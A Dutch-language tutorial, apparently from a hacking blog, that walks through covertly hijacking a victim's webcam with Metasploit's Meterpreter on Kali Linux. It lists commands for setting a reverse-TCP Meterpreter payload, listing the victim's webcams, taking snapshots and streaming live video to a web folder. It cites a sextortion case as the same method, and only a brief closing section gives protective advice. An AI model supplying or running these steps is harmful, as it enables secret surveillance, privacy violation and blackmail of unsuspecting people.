in deze tutorial, zullen we een kijkje nemen op hoe we kunnen hacken in een webcam in het geheim en op afstand via het internet en neem een kijkje op wat er aan de andere kant. We gebruiken de krachtige Meterpreter en Kali Linux om de webcam van het slachtoffer te hacken. We nemen de volledige controle over de webcam, zetten hem aan, krijgen snapshots en streamen zelfs live video zonder dat iemand het ooit te weten komt.begin 2014 werd een hacker veroordeeld tot 18 maanden omdat hij dit deed tegen Miss Teen USA 2013. Hij vond een kwetsbaarheid in haar computer (zoals sommige verouderde software), nam een paar compromitterende foto ’s van de webcam en chanteerde het slachtoffer om meer foto’ s te sturen. De methode die hij gebruikte is precies wat we hier gaan uitproberen.
onze beste vriend meterpreter gaat ons helpen met deze hack. Met Meterpreter kunnen we iemands webcam controleren, Een keylogger installeren of je eigen virussen planten, privégegevens stelen en vrijwel alles doen op de computer van het slachtoffer.
voor deze tutorial ga ik ervan uit dat je al een aanvalsmodule hebt gebruikt om een kwetsbaarheid te exploiteren met Metasploit (hoe doe je dit?). Laten we aan de slag gaan.
hoe Webcams hacken?
Stap 1: Meterpreter instellen.
nadat we het slachtoffer succesvol hebben uitgebuit, hebben we nu de optie om een payload van onze keuze in te stellen. De lading vertelt metasploit wat te doen op de computer van het slachtoffer zodra het breekt in. Meterpreter is onze lading. Het volgende commando stelt onze payload in:
set payload windows/meterpreter/reverse_tcpals de aanval succesvol was, installeert metasploit automatisch meterpreter op het doelsysteem en kunnen we verder gaan met het hacken van de webcam.
Stap 2: Zoek de webcam.
Meterpreter heeft een ingebouwde module voor het zoeken en besturen van de webcam van het externe systeem. We kunnen beginnen door te zoeken of het systeem zelfs een webcam heeft of not.me. het commando hieronder wordt gebruikt voor dat, het geeft ons ook de naam van de webcam.
meterpreter > webcam_listen nu zou u de webcam(s) van uw doel in de uitvoer moeten zien.
Stap 3: snapshots maken
als het laatste commando ons een webcam gaf, kunnen we doorgaan en een foto maken:
meterpreter > webcam_snapen nu zou je moeten zien dat een afbeelding is opgeslagen in de map /opt/framework3/msf3 ga er gewoon heen
Stap 4: Stream real tijd video van de gehackte webcam
dus we namen gewoon een foto, laten we eens kijken hoe je een live video stream te krijgen. We kunnen dit doen door het onderstaande commando te typen: (We gebruiken –p parameter om de map aan te geven die we aan het videostreambestand willen geven)
meterpreter > run webcam -p /var/wwwDit commando start de webcam van het slachtoffer en stuurt de video-uitvoer naar /var/www/webcam.htm. U kunt openen dit bestand en kijk wat er aan de andere kant in een live video stream.
hoe voorkomt u dat uw eigen webcam wordt gehackt?
Er zijn verschillende manieren om webcams te hacken. In het bovenstaande voorbeeld, met slechts een paar kleine commando ‘ s kunnen we een kijkje nemen in de webcam van ons slachtoffer. Elke doorgewinterde beveiligingsexpert zal u vertellen dat geen enkel systeem volledig veilig is. Daarom moet u altijd uw camera ‘ s afgedekt houden wanneer deze niet in gebruik zijn. Persoonlijk gebruik ik deze kleine gadget op zowel mijn laptop als smartphone.
maar dit betekent niet dat u uw besturingssysteem en applicaties niet moet updaten, integendeel. Als een hacker controle over uw webcam kan krijgen, uw systeem is met succes uitgebuit, het is effectief nu een bot, een slaaf van de aanvaller. Dit betekent dat de aanvaller alles op je systeem kan doen: toegang krijgen tot je privégegevens, alles zien wat je typt en alle websites die je bezoekt.
welk apparaat gebruikt u nu? Een smartphone? Een laptop? De kans is groot dat je naar een camera staart. Voel je je opeens een beetje ongemakkelijk? Dat zou je moeten doen. Neem geen risico. Als je gewoon dekking van uw camera ‘ s en routinematig bij te werken al uw software kunt u voorkomen dat het slachtoffer van een webcam hack jezelf.